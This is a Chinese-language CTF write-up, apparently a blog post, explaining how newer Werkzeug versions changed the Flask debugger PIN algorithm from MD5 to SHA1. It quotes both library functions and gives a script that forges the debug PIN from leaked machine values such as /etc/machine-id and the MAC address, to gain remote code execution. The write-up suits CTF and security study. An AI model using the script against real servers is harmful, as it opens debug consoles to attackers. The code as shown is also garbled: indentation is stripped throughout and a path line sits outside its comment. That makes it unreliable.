flask的pin码攻击——新版本下pin码的生成方式

在打*CTF的时候，一道明显是flask的pin码生成进而RCE的题目卡了半天，最后发现是新版本的flask的pin码生成方式有了一定的改变，这里做一下记录。

我们常用的生成pin码的脚本如下：

import hashlib
from itertools import chain
probably_public_bits = [
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485377892354',# str(uuid.getnode()),
/sys/class/net/ens33/address
'32e48d371198e8420c53b0a1fa37e94d'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)

这个脚本实际上改造自flask生成pin码的函数get_pin_and_cookie_name（位于site-packages/werkzeug/debug/__init__.py），其内容如下：

def get_pin_and_cookie_name(app):
"""Given an application object this returns a semi-stable 9 digit pin
code and a random key.
The hope is that this is stable between
restarts to not make debugging particularly frustrating.
If the pin
was forcefully disabled this returns `None`.
Second item in the resulting tuple is the cookie name for remembering.
"""
pin = os.environ.get('WERKZEUG_DEBUG_PIN')
rv = None
num = None
# Pin was explicitly disabled
if pin == 'off':
return None, None
# Pin was provided explicitly
if pin is not None and pin.replace('-', '').isdigit():
# If there are separators in the pin, return it directly
if '-' in pin:
rv = pin
else:
num = pin
modname = getattr(app, '__module__',
getattr(app.__class__, '__module__'))
try:
# `getpass.getuser()` imports the `pwd` module,
# which does not exist in the Google App Engine sandbox.
username = getpass.getuser()
except ImportError:
username = None
mod = sys.modules.get(modname)
# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
getattr(app, '__name__', getattr(app.__class__, '__name__')),
getattr(mod, '__file__', None),
]
# This information is here to make it harder for an attacker to
# guess the cookie name.
They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [
str(uuid.getnode()),
get_machine_id(),
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, text_type):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
return rv, cookie_name

而新版本的get_pin_and_cookie_name的内容有了一定的修改：

def get_pin_and_cookie_name(
app: "WSGIApplication",
) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:
"""Given an application object this returns a semi-stable 9 digit pin
code and a random key.
The hope is that this is stable between
restarts to not make debugging particularly frustrating.
If the pin
was forcefully disabled this returns `None`.
Second item in the resulting tuple is the cookie name for remembering.
"""
pin = os.environ.get("WERKZEUG_DEBUG_PIN")
rv = None
num = None
# Pin was explicitly disabled
if pin == "off":
return None, None
# Pin was provided explicitly
if pin is not None and pin.replace("-", "").isdigit():
# If there are separators in the pin, return it directly
if "-" in pin:
rv = pin
else:
num = pin
modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
username: t.Optional[str]
try:
# getuser imports the pwd module, which does not exist in Google
# App Engine. It may also raise a KeyError if the UID does not
# have a username, such as in Docker.
username = getpass.getuser()
except (ImportError, KeyError):
username = None
mod = sys.modules.get(modname)
# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
getattr(app, "__name__", type(app).__name__),
getattr(mod, "__file__", None),
]
# This information is here to make it harder for an attacker to
# guess the cookie name.
They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [str(uuid.getnode()), get_machine_id()]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
return rv, cookie_name

因此，我们生成pin码的脚本也需要进行一定的修改：

import hashlib
from itertools import chain
probably_public_bits = [
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485377892354',# str(uuid.getnode()),
/sys/class/net/ens33/address
'32e48d371198e8420c53b0a1fa37e94d'# get_machine_id(), /etc/machine-id
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)

最后

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